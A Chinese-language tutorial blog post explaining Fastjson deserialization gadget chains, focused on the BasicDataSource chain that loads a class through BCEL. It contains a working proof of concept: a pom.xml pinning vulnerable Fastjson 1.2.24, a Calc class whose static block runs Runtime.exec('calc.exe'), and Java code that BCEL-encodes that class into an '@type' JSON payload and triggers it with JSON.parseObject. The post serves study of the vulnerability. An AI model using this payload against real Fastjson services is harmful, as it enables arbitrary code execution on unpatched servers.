之前说的Fastjson的利用链,补充来了,没有偷懒(狗头)
前情提要:BCEL:加载恶意类
、Fastjson反序列化漏洞1:吹吹水
Fastjson干了啥
Fastjson就是处理json用的,可以将json转换成对象(自定义的一套序列化和反序列化)
举个例子:
下面这个json字符串经过JSON.parse(jsonString)
处理
可以得到com.test.demo.Student类对象,age为18,name为XW
{"@type":"com.test.demo.Student","age":18,"name":"XW"}
@type
用于指明类名
快速了解一下fastjson的三个重要方法
-
使用parse,不仅会得到对象,还会调用这个对象的setter;
-
使用parseObject,不仅会得到对象且调用setter,还会调用getter。
-
使用JSON.toJSONString,会自动调用类的getter。
也就是说setter和getter是我们可以考虑的入口点,类似readObject
Fastjson有哪些利用链
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
com.sun.rowset.JdbcRowSetImpl
org.apache.tomcat.dbcp.dbcp2.BasicDataSource
第一个利用链是常规的Java字节码的执行,但是需要开启Feature.SupportNonPublicField
,比较鸡肋
第二个利用链用到的是JNDI注入
,利用条件相对较低,但是需要连接远程恶意服务器,在目标没外网的情况下无法直接利用
第三个利用链也是一个字节码的利用,但其无需目标额外开启选项,也不用连接外部服务器,利用条件更低。使用的是BCEL
加载恶意类。
BasicDataSource链(内网链)
可以发现BasicDataSource为入口
getConnection()->createDataSource()->createConnectionFactory()
getConnection
createDataSource
createDataSource中调用了createConnectionFactory()
createConnectionFactory
让我们看看这个createConnectionFactory方法,发现其调用链自定义的ClassLoader
此时就可以利用BCEL的ClassLoader进而加载恶意类执行代码
代码
考虑到版本问题,这里给出我的pom.xml
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>org.example</groupId>
<artifactId>Fastjson_BasicDataSource</artifactId>
<version>1.0-SNAPSHOT</version>
<properties>
<maven.compiler.source>8</maven.compiler.source>
<maven.compiler.target>8</maven.compiler.target>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
</properties>
<dependencies>
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version> <!-- 请使用最新版本 -->
</dependency>
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-dbcp</artifactId>
<version>9.0.0.M15</version>
</dependency>
</dependencies>
</project>
package org.example;
import java.io.IOException;
public class Calc {
static {
try {
System.out.println(" [+]calc类的静态初始化模块,调用Runtime.getRuntime().exec(\"calc.exe\");");
Runtime.getRuntime().exec("calc.exe");
} catch (IOException e) {
e.printStackTrace();
}
}
}
package org.example;
import com.alibaba.fastjson.JSON;
import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import org.apache.tomcat.dbcp.dbcp2.BasicDataSource;
public class Main {
public static void main(String[] args) throws Exception{
System.out.println("[+]低版本jdk可用BCEL,JDK < 8u251");
System.out.println("[+]获取Calc类");
JavaClass cls = Repository.lookupClass(Calc.class);
System.out.println("[+]获取Calc类的编码");
String code = Utility.encode(cls.getBytes(), true);
System.out.println(" "+code);
System.out.println("[+]构造payload");
String payload =
"{\n" +
" \"@type\": \"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\n" +
" \"driverClassLoader\": {\"@type\": \"com.sun.org.apache.bcel.internal.util.ClassLoader\"},\n" +
" \"driverClassName\": \"$$BCEL$$"+ code +"\"\n" +
"}\n";
System.out.println(payload);
JSON.parseObject(payload);
BasicDataSource basicDataSource = new BasicDataSource();
}
}